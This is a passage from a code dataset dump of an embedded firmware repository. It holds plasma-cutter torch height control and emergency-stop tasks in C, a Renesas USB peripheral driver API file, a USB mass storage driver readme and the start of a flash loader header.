THC_MAX;\n\t}\n\t/* limite minimo do delay do THC */\n\tif(ldelay_thc < 4000)\n\t{\n\t\tldelay_thc = 4000;\n\t}\n\tpl_thc_read();\n\tif(delay_thcGet() > ldelay_thc){\n\t\tif(THC_real > THC_VMIN)\n\t\t{\n\t\t\tTHC_err = configVarPl[PL_CONFIG_TENSAO_THC] - THC_real;\n\t\t\tif(THC_err > THC_HISTERESE)\n\t\t\t{\n\t\t\t\tresult = THCVel;\n\t\t\t}\n\t\t\tif(THC_err < -THC_HISTERESE)\n\t\t\t{\n\t\t\t\tresult = -THCVel;\n\t\t\t}\n\t\t\tif(THC_err >= -THC_HISTERESE && THC_err <= THC_HISTERESE)\n\t\t\t{\n\t\t\t\tresult = 0;\n\t\t\t}\n\t\t\tif (configFlags[KERF] == HABILITADO)\n\t\t\t{\n\t\t\t\tif(fabs(THC_err) > configVarPl[PL_CONFIG_TENSAO_THC]*THC_KERF_PORCENTAGE)\n\t\t\t\t{\n\t\t\t\t\tresult = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (configFlags[MERGULHO] == HABILITADO)\n\t\t\t{\n\t\t\t\tif(mp_get_runtime_velocity() < configVarPl[PL_CONFIG_VELOC_CORTE]*THC_MERGULHO_PORCENTAGE)\n\t\t\t\t{\n\t\t\t\t\tresult = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nvoid pl_emergencia_init(void)\n{\n ICU.IRQCR[8].BIT.IRQMD = 2;\n IR(ICU, IRQ8) = 0; //Clear any previously pending interrupts\n IPR(ICU, IRQ8) = 3; //Set interrupt priority\n IEN(ICU, IRQ8) = 0; // Enable interrupt\n IR(ICU, IRQ8) = 0; //Clear any previously pending interrupts\n IEN(ICU, IRQ8) = 1; // Enable interrupt\n xTaskCreate((pdTASK_CODE)emergencia_task, \"Emergencia task\", 256, NULL, 3, &xEmergenciaTaskHandle );\n R_CMT_CreatePeriodic(10000,timer_motorPower_callback,&timerMotorPower);\n}\n\nvoid pl_arcook_start(void)\n{\n xTaskNotifyGive( xPlasmaTaskHandle);\n\tarcoOkSet(false);\n}\n\nvoid pl_arcook_stop(void)\n{\n ArcoOktaskIdle = false;\n\tarcoOkSet(false);\n}\n\n#pragma interrupt IRQ9_isr(vect=VECT(ICU, IRQ9))\nstatic void IRQ9_isr (void) {\n//\t BaseType_t xHigherPriorityTaskWoken;\n//\n//\t xHigherPriorityTaskWoken = pdFALSE;\n//\n//\t vTaskNotifyGiveFromISR( xPlasmaTaskHandle, &xHigherPriorityTaskWoken );\n//\n//\t portYIELD_FROM_ISR( xHigherPriorityTaskWoken );\n//\n// IR(ICU, IRQ9) = 0; //Clear any previously pending interrupts\n// IEN(ICU, IRQ9) = 0; // Enable interrupt\n\n}\n\n#pragma interrupt IRQ8_isr(vect=VECT(ICU, IRQ8))\nstatic void IRQ8_isr (void) {\n BaseType_t xHigherPriorityTaskWoken;\n\n xHigherPriorityTaskWoken = pdFALSE;\n\n vTaskNotifyGiveFromISR( xEmergenciaTaskHandle, &xHigherPriorityTaskWoken );\n\n portYIELD_FROM_ISR( xHigherPriorityTaskWoken );\n}\n\nvoid plasma_task(void)\n{\n\tuint8_t debounce;\n\tuint32_t qSend = 0;\n bool pinState;\n\n\twhile(1)\n\t{\n ulTaskNotifyTake( pdTRUE, portMAX_DELAY );\n ArcoOktaskIdle = true;\n debounce = 0;\n while(ArcoOktaskIdle)\n {\n\t\t\tpinState = ARCO_OK;\n\t\t\tvTaskDelay(pdMS_TO_TICKS(10));\n\t\t\tif(pinState == ARCO_OK)\n\t\t\t{\n\t\t\t\tdebounce++;\n\t\t\t}\n\t\t\tif(debounce == DEBOUNCE_COUNT)\n\t\t\t{\n\t\t\t\tif (!ARCO_OK)\n\t\t\t\t{\n\t\t\t\t\tif (!simTorch)\n\t\t\t\t\t{\n\t\t\t\t\t\t//xTaskNotifyGive(xCncTaskHandle);\n\t\t\t\t\t\txSemaphoreGive( xArcoOkSync );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tdebounce = 0;\n\t\t\t\tdo\n\t\t\t\t{\n\t\t\t\t\tif(ARCO_OK)\n\t\t\t\t\t{\n\t\t\t\t\t\tdebounce++;\n\t\t\t\t\t\tarcoOkSet(false);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdebounce = 0;\n\t\t\t\t\t\tarcoOkSet(true);\n\t\t\t\t\t}\n\t\t\t\t\tvTaskDelay(pdMS_TO_TICKS(10));\n\t\t\t\t}while(debounce != ARCOOK_DELAY_COUNT && isCutting && ArcoOktaskIdle);\n\t\t\t\tif (isCutting && ArcoOktaskIdle)\n\t\t\t\t{\n\t\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\t\tstopDuringCut_Set(true);\n\t\t\t\t vTaskPrioritySet( xCncTaskHandle, 3 );\n\t\t\t\t\twarm_stop(2);\n\t\t\t\t vTaskPrioritySet( xCncTaskHandle, 1 );\n\t\t\t\t\tTORCH = FALSE;\n\t\t\t\t\tif( uxTaskPriorityGet( xCncTaskHandle ) != 1 )\n\t\t\t\t\t{\n\n\t\t\t\t\t}\n\t\t\t\t\tlstop = true;\n\t\t\t\t\tut_lcd_output_warning(\"PLASMA NÃO\\nTRANSFERIDO\\n\");\n\t\t\t\t\twhile(qSend != KEY_ESC){\n\t\t\t\t\t\tWDT_FEED\n\t\t\t\t\t\txQueueReceive( qKeyboard, &qSend, portMAX_DELAY );\n\t\t\t\t\t}\n\t\t\t\t\tqSend = ARCO_OK_FAILED;\n\t\t\t\t\txQueueSend( qKeyboard, &qSend, 0 );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid emergencia_task(void)\n{\n\tuint32_t keyEntry = 0;\n\tuint8_t emergencyCount = 0;\n\tbool realease = false;\n\twhile(1)\n\t{\n\t\temergenciaFlag = false;\n\t\trealease = false;\n\t IR(ICU, IRQ8) = 0; //Clear any previously pending interrupts\n\t IEN(ICU, IRQ8) = 1; // Enable interrupt\n\t\tulTaskNotifyTake( pdTRUE, portMAX_DELAY );\n\t IR(ICU, IRQ8) = 0; //Clear any previously pending interrupts\n\t IEN(ICU, IRQ8) = 0; // Enable interrupt\n\t\twhile(EMERGENCIA && !realease)\n\t\t{\n\t\t\tvTaskDelay(1 / portTICK_PERIOD_MS);\n\t\t\temergencyCount++;\n\t\t\tif(emergencyCount == 100)\n\t\t\t{\n\t\t\t\temergenciaFlag = true;\n\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t \t\tif (isCuttingGet() == true)\n\t \t\t{\n\t \t\t\tstopDuringCut_Set(true);\n\t \t\t}\n\n\t\t\t vTaskPrioritySet( xCncTaskHandle, 3 );\n\t\t\t\twarm_stop(2);\n\t\t\t vTaskPrioritySet( xCncTaskHandle, 1 );\n\t\t\t\tTORCH = FALSE;\n\t\t\t if( uxTaskPriorityGet( xCncTaskHandle ) != 1 )\n\t\t\t\t{\n\n\t\t\t\t}\n\t \t\tlstop = true;\n\n\t\t \tif (currentLine == 0){\n\t\t \t\tstrcpy(Str,\"MODO DE EMERGÊNCIA\\n\");\n\t\t \t}\n\t\t \telse\n\t\t \t{\n\t\t \t\tsprintf(Str,\"MODO DE EMERGÊNCIA\\nPARADO LINHA\\n%d\\n\",currentLine);\n\t\t \t}\n\t\t \tut_lcd_output_warning(Str);\n\t\t\t\twhile(keyEntry != KEY_ESC){\n\t\t\t\t\tWDT_FEED\n\t\t\t\t\txQueueReceive( qKeyboard, &keyEntry, portMAX_DELAY );\n\t\t\t\t}\n\t\t\t\tkeyEntry = EMERGENCIA_SIGNAL;\n\t\t\t\txQueueSend( qKeyboard, &keyEntry, 0 );\n\t\t\t//\tmacro_func_ptr = command_idle;\n\t\t\t\trealease = true;\n\t\t\t\temergencyCount = 0;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid timer_motorPower_callback(void *pdata)\n{\n\tPWMCH ^= 1;\n\tif (TORCH == TRUE)\n\t{\n\t\tif (arcoOkGet() == true)\n\t\t{\n\t\t\tisCuttingSet(true);\n\t\t}\n\t}\n\telse\n\t{\n\t\tisCuttingSet(false);\n\t}\n\tif(delay_thcStart){\n\t\tif (delay_thc == 0xFFFF)\n\t\t{\n\t\t\tdelay_thc = 0xFFFF;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tdelay_thc++;\n\t\t}\n\t}\n}\n\nvoid delay_thcStartStop(bool state)\n{\n\tdelay_thcStart = state;\n\tdelay_thc = 0;\n}\n\nvoid isCuttingSet(bool state)\n{\n\tisCutting = state;\n\tif(state == false)\n\t{\n\t\tdelay_thcStartStop(false);\n\t}\n}\n\nbool isCuttingGet(void)\n{\n\treturn isCutting;\n}\n\nvoid arcoOkSet(bool state)\n{\n\tarcoOk = state;\n}\n\nbool arcoOkGet(void)\n{\n\treturn arcoOk;\n}\n\nfloat THC_realGet(void)\n{\n\treturn THC_real;\n}\n\nvoid delay_thcSet(uint16_t state)\n{\n\tdelay_thc = state;\n}\n\nuint16_t delay_thcGet(void)\n{\n\treturn delay_thc;\n}\n\nvoid stopDuringCut_Set(bool state)\n{\n\tstopDuringCut = state;\n}\n\nbool stopDuringCut_Get(void)\n{\n\treturn stopDuringCut;\n}\n\n\n" }, { "alpha_fraction": 0.4794451594352722, "alphanum_fraction": 0.48758670687675476, "avg_line_length": 43.614349365234375, "blob_id": "8f79960b691daa395439948119c78a73362bb6c6", "content_id": "cab019818cc98813d5e5189e7ac8cc1e33de0b73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 19898, "license_type": "no_license", "max_line_length": 120, "num_lines": 446, "path": "/r_usb_basic/src/driver/peri/r_usb_pdriverapi.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_pdriverapi.c\n* Description : USB Peripheral Driver API code. PCD (Peripheral Control Driver)\n : USB Function transfer level commands. \n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void R_usb_cstd_UsbIpInit( USB_UTR_t *ptr, uint16_t usb_mode );\nextern void R_usb_cstd_SetTaskPri(uint8_t tasknum, uint8_t pri);\n\n\n/******************************************************************************\nRenesas Abstracted Peripheral Driver API functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_pstd_PcdOpen\nDescription : Start PCD(Peripheral Control Driver) task (RTOS version)\n : Initialize pipe information (non-OS version).\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : USB_ER_t : Error info.\n******************************************************************************/\nUSB_ER_t R_usb_pstd_PcdOpen(USB_UTR_t *ptr)\n{\n uint16_t i;\n\n R_usb_cstd_SetTaskPri(USB_PCD_TSK, USB_PRI_0);\n\n for( i = USB_PIPE0; i <= USB_MAX_PIPE_NO; i++ )\n {\n usb_gpstd_StallPipe[i] = USB_DONE;\n usb_gcstd_Pipe[ptr->ip][i] = (USB_UTR_t*)USB_NULL;\n }\n\n return USB_E_OK;\n}/* eof R_usb_pstd_PcdOpen */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_PcdClose\nDescription : Stop PCD(Peripheral Control Driver) task\nArguments : USB_UTR_t *ptr : Not used.\nReturn value : USB_ER_t : Error info.\n******************************************************************************/\nUSB_ER_t R_usb_pstd_PcdClose(USB_UTR_t *ptr)\n{\n return USB_E_OK;\n}/* eof R_usb_pstd_PcdClose */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_TransferStart\nDescription : Transfer the data of each pipe \n : Request PCD to transfer data, and the PCD transfers the data \n based on the transfer information stored in ptr\nArguments : USB_UTR_t *ptr : keyword, msghead and msginfo are used for... $REA\nReturn value : USB_ER_t : Error info.\n******************************************************************************/\nUSB_ER_t R_usb_pstd_TransferStart(USB_UTR_t *ptr)\n{\n USB_ER_t err;\n uint16_t pipenum;\n\n pipenum = ptr->keyword;\n if( usb_gcstd_Pipe[ptr->ip][pipenum] != USB_NULL )\n {\n /* Get PIPE TYPE */\n if( usb_cstd_GetPipeType(ptr, pipenum) != USB_ISO )\n {\n USB_PRINTF1(\"### R_usb_pstd_TransferStart overlaps %d\\n\", pipenum);\n return USB_E_QOVR;\n }\n }\n\n /* Check state ( Configured ) */\n if( usb_pstd_ChkConfigured(ptr) != USB_YES )\n {\n USB_PRINTF0(\"### R_usb_pstd_TransferStart not configured\\n\");\n return USB_E_ERROR;\n }\n\n if( pipenum == USB_PIPE0 )\n {\n USB_PRINTF0(\"### R_usb_pstd_TransferStart PIPE0 is not support\\n\");\n return USB_E_ERROR;\n }\n\n ptr->msghead = (USB_MH_t)USB_NULL;\n ptr->msginfo = USB_MSG_PCD_SUBMITUTR;\n /* Send message */\n err = USB_SND_MSG(USB_PCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### pTransferStart snd_msg error (%ld)\\n\", err);\n }\n return err;\n}/* eof R_usb_pstd_TransferStart() */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_TransferEnd\nDescription : Force termination of data transfer of specified pipe. Request \n : PCD to force termination \n data transfer, and the PCD forced-terminates data transfer. \nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel. \n : uint16_t pipe : Pipe number.\n : uint16_t status : End status.\nReturn value : USB_ER_t : Error info.\n******************************************************************************/\nUSB_ER_t R_usb_pstd_TransferEnd(USB_UTR_t *ptr, uint16_t pipe, uint16_t status)\n{\n uint16_t info;\n\n if( usb_gcstd_Pipe[ptr->ip][pipe] == USB_NULL )\n {\n USB_PRINTF0(\"### R_usb_pstd_TransferEnd overlaps\\n\");\n return USB_E_QOVR;\n }\n\n /* check Time out */\n if( status == USB_DATA_TMO )\n {\n info = USB_MSG_PCD_TRANSEND1;\n }\n else\n {\n info = USB_MSG_PCD_TRANSEND2;\n }\n\n /* PCD Send Mailbox */\n return usb_pstd_PcdSndMbx(ptr, info, pipe, &usb_cstd_DummyFunction);\n}/* eof R_usb_pstd_TransferEnd() */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_ChangeDeviceState\nDescription : Change USB Device to the status specified by argument\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t state : New device status.\n : uint16_t port_no : Pipe number etc.\n : USB_CB_t complete : Callback function.\nReturn value : USB_ER_t : Error info.\n******************************************************************************/\nUSB_ER_t R_usb_pstd_ChangeDeviceState(USB_UTR_t *ptr, uint16_t state, uint16_t port_no, USB_CB_t complete)\n{\n USB_ER_t err;\n\n /* PCD Send Mailbox */\n err = usb_pstd_PcdSndMbx(ptr, state, port_no, complete);\n \n return err;\n}/* eof R_usb_pstd_ChangeDeviceState() */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_DeviceInformation\nDescription : Get USB Device information such as USB Device status and con-\n : figuration No. etc. \nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t *tbl : Device information storage pointer TBL. This \n : pointer is used to provide the caller with the device's sta-\n : tus, speed, configuration and interface number, and the value\n : of the remote wakeup flag.\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_DeviceInformation(USB_UTR_t *ptr, uint16_t *tbl)\n{\n /* Device status */\n tbl[0] = usb_creg_read_intsts( ptr ) & (uint16_t)(USB_VBSTS|USB_DVSQ);\n\n /* Speed */\n tbl[1] = usb_cstd_PortSpeed(ptr, (uint16_t)USB_PORT0);\n\n /* Configuration number */\n tbl[2] = usb_gpstd_ConfigNum;\n\n /* Interface number */\n tbl[3] = usb_pstd_GetInterfaceNum(usb_gpstd_ConfigNum);\n\n /* Remote Wakeup Flag */\n tbl[4] = usb_gpstd_RemoteWakeup;\n}/* eof R_usb_pstd_DeviceInformation() */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_DriverRegistration\nDescription : Register pipe information table, descriptor information table, \n : callback function, etc. This info is specified by the data in\n : the structure USB_PCDREG_t.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : USB_PCDREG_t *registinfo : Class driver structure.\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_DriverRegistration(USB_UTR_t *ptr, USB_PCDREG_t *registinfo)\n{\n USB_PCDREG_t *driver;\n\n driver = &usb_gpstd_Driver;\n /* Pipe define table address */\n driver->pipetbl = registinfo->pipetbl;\n /* Device descriptor table address */\n driver->devicetbl = registinfo->devicetbl;\n /* Qualifier descriptor table address */\n driver->qualitbl = registinfo->qualitbl;\n /* Configuration descriptor table address */\n driver->configtbl = registinfo->configtbl;\n /* Other configuration descriptor table address */\n driver->othertbl = registinfo->othertbl;\n /* String descriptor table address */\n driver->stringtbl = registinfo->stringtbl;\n /* Driver init */\n driver->classinit = registinfo->classinit;\n /* Device default */\n driver->devdefault = registinfo->devdefault;\n /* Device configured */\n driver->devconfig = registinfo->devconfig;\n /* Device detach */\n driver->devdetach = registinfo->devdetach;\n /* Device suspend */\n driver->devsuspend = registinfo->devsuspend;\n /* Device resume */\n driver->devresume = registinfo->devresume;\n /* Interfaced change */\n driver->interface = registinfo->interface;\n /* Control transfer */\n driver->ctrltrans = registinfo->ctrltrans;\n /* Initialized device driver */\n (*driver->classinit)(ptr, (uint16_t)USB_NO_ARG, (uint16_t)USB_NO_ARG);\n}/* eof R_usb_pstd_DriverRegistration() */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_DriverRelease\nDescription : Clear the information registered in the structure USB_PCDREG_t.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_DriverRelease(void)\n{\n USB_PCDREG_t *driver;\n\n driver = &usb_gpstd_Driver;\n /* Pipe define table address */\n driver->pipetbl = (uint16_t**)0u;\n /* Device descriptor table address */\n driver->devicetbl = (uint8_t*)0u;\n /* Qualifier descriptor table address */\n driver->qualitbl = (uint8_t*)0u;\n /* Configuration descriptor table address */\n driver->configtbl = (uint8_t**)0u;\n /* Other configuration descriptor table address */\n driver->othertbl = (uint8_t**)0u;\n /* String descriptor table address */\n driver->stringtbl = (uint8_t**)0u;\n /* Driver init */\n driver->classinit = &usb_cstd_DummyFunction;\n /* Device default */\n driver->devdefault = &usb_cstd_DummyFunction;\n /* Device configured */\n driver->devconfig = &usb_cstd_DummyFunction;\n /* Device detach */\n driver->devdetach = &usb_cstd_DummyFunction;\n /* Device suspend */\n driver->devsuspend = &usb_cstd_DummyFunction;\n /* Device resume */\n driver->devresume = &usb_cstd_DummyFunction;\n /* Interfaced change */\n driver->interface = &usb_cstd_DummyFunction;\n /* Control transfer */\n driver->ctrltrans = &usb_cstd_DummyTrn;\n}/* eof R_usb_pstd_DriverRelease() */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_SetPipeRegister\nDescription : Set specified pipe configuration of specified pipe no.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t pipe_number : pipe number\n : uint16_t *tbl : DEF_EP table pointer\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_SetPipeRegister(USB_UTR_t *ptr, uint16_t pipe_number, uint16_t *tbl)\n{\n usb_pstd_SetPipeRegister( ptr, pipe_number, tbl);\n}/* eof R_usb_pstd_SetPipeRegister() */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_SetPipeStall\nDescription : Pipe Stall Set\nArguments : USB_UTR_t *ptr\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_SetPipeStall(USB_UTR_t *ptr, uint16_t pipeno)\n{\n usb_pstd_SetStall(ptr, pipeno);\n}\n/******************************************************************************\nEnd of function R_usb_pstd_SetPipeStall\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_pstd_SetStall\nDescription : Set pipe stall request\nArguments : USB_CB_t complete ; callback function\n : uint16_t pipe ; pipe number\nReturn value : USB_ER_t Error Info\n******************************************************************************/\nUSB_ER_t R_usb_pstd_SetStall(USB_UTR_t *ptr, USB_CB_t complete, uint16_t pipe)\n{\n /* PCD Send Mailbox */\n return usb_pstd_PcdSndMbx(ptr, (uint16_t)USB_MSG_PCD_SETSTALL, pipe, complete);\n}\n/******************************************************************************\nEnd of function R_usb_pstd_SetStall\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_pstd_ControlRead\nDescription : Start control read transfer (API). When a valid control read \n : request is received from host, the ControlRead function gen-\n : erates data for transmission to the host and writes it to the \n : FIFO.\nArguments : uint32_t bsize : Read size in bytes.\n : uint8_t *table : Start address of read data buffer.\nReturn value : uint16_t : USB_WRITESHRT/USB_WRITE_END/USB_WRITING/\n : : USB_FIFOERROR.\n******************************************************************************/\nuint16_t R_usb_pstd_ControlRead(USB_UTR_t *ptr, uint32_t bsize, uint8_t *table)\n{\n uint16_t end_flag;\n\n end_flag = usb_pstd_ControlRead( ptr, bsize, table);\n\n return (end_flag);\n}\n/******************************************************************************\nEnd of function R_usb_pstd_ControlRead\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_pstd_ControlWrite\nDescription : Start control write transfer (API). When a valid control write \n : request from host is received, the ControlWrite function \n : enables data reception from the host.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint32_t bsize : Write size in bytes.\n : uint8_t *table : Start address of write data buffer.\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_ControlWrite(USB_UTR_t *ptr, uint32_t bsize, uint8_t *table)\n{\n usb_gcstd_DataCnt[ptr->ip][USB_PIPE0] = bsize;\n usb_gcstd_DataPtr[ptr->ip][USB_PIPE0] = table;\n\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n /* Buffer clear */\n usb_creg_set_bclr( ptr, USB_CUSE );\n\n /* Interrupt enable */\n /* Enable ready interrupt */\n usb_creg_set_brdyenb(ptr, (uint16_t)USB_PIPE0);\n /* Enable not ready interrupt */\n usb_cstd_NrdyEnable(ptr, (uint16_t)USB_PIPE0);\n\n /* Set PID=BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n}\n/******************************************************************************\nEnd of function R_usb_pstd_ControlWrite\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_pstd_ControlEnd\nDescription : End control transfer.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t status : Control transfer status.\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_ControlEnd(USB_UTR_t *ptr, uint16_t status)\n{\n usb_pstd_ControlEnd( ptr, status);\n}\n/******************************************************************************\nEnd of function R_usb_pstd_ControlEnd\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_pstd_usbdriver_start\nDescription : Start peripheral USB low-level driver task.\nArgument : none\nReturn : none\n******************************************************************************/\nvoid R_usb_pstd_usbdriver_start( USB_UTR_t *ptr )\n{\n /* Task Start Processing */\n R_usb_pstd_PcdOpen(ptr); /* Pcd open */\n}\n/******************************************************************************\nEnd of function R_usb_pstd_usbdriver_start()\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nFunction Name : R_usb_pstd_PcdTask\nDescription : Call PCD (Peripheral Control Driver) task (API for nonOS).\nArguments : USB_VP_INT stacd: Start Code\nReturn value : none\n******************************************************************************/\nvoid R_usb_pstd_PcdTask(USB_VP_INT stacd)\n{\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n usb_pstd_PcdTask( stacd );\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n}/* eof R_usb_pstd_PcdTask() */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5404829382896423, "alphanum_fraction": 0.5632102489471436, "avg_line_length": 16.170732498168945, "blob_id": "a522a745ac429da5efe8508f6658b435ecf0d3f5", "content_id": "c5b85e8635ac632c37502082b3babfc0de45b3ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1408, "license_type": "no_license", "max_line_length": 77, "num_lines": 82, "path": "/r_usb_hmsc/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nr_usb_hmsc\n=======================\n\nDocument Number \n---------------\nR01AN2026EJ\n\nVersion\n-------\nv1.10\n\nOverview\n--------\nUSB Host Mass Storage Class Driver (HMSC)\n\nFeatures\n--------\nThe USB host mass storage class driver comprises a USB mass storage class \nBulk-Only Transport (BOT) protocol. When combined with a file system and \nstorage device driver, it enables communication with a BOT-compatible USB \nstorage device.\n\n\nSupported MCUs\n--------------\n* RX64M Group\n* RX71M Group\n\nBoards Tested On\n----------------\n* RSKRX64M\n* RSKRX71M\n \nLimitations\n-----------\n\nPeripherals Used Directly\n-------------------------\n\n\nRequired Packages\n-----------------\n* r_bsp\n* r_usb_basic\n\nHow to add to your project\n--------------------------\n\nToolchain(s) Used\n-----------------\n* Renesas RX v.2.01.00\n\nFile Structure\n--------------\nr_usb_hmsc\n| readme.txt\n| r_usb_hmsc_if.h\n|\n+---demo\n| r_tfat_drv_if.c\n|\n+---doc\n| r01an2026ej0110_usb.pdf\n|\n+---ref\n| r_usb_hmsc_config_reference.h\n|\n\\---src\n | r_usb_hmsc_api.c\n | r_usb_hmsc_ddi.c\n | r_usb_hmsc_driver.c\n | r_usb_hmsc_hci.c\n | r_usb_hstorage_driver.c\n | r_usb_hstorage_driver_api.c\n |\n \\---inc\n r_usb_hatapi_define.h\n r_usb_hmsc_api.h\n r_usb_hmsc_define.h\n r_usb_hmsc_extern.h\n" }, { "alpha_fraction": 0.5589905381202698, "alphanum_fraction": 0.5656151175498962, "avg_line_length": 50.96721267700195, "blob_id": "b9ae0cc7987e8214414a1de3c8581eed172ebb78", "content_id": "6ae2c89220b561aa3679b5725ab4302f16a7688e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3170, "license_type": "no_license", "max_line_length": 80, "num_lines": 61, "path": "/r_flash_loader_rx/src/r_fl_globals.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name\t : r_fl_globals.h\n* Version : 3.0 \n* Description : Global variables shared between Flash Loader 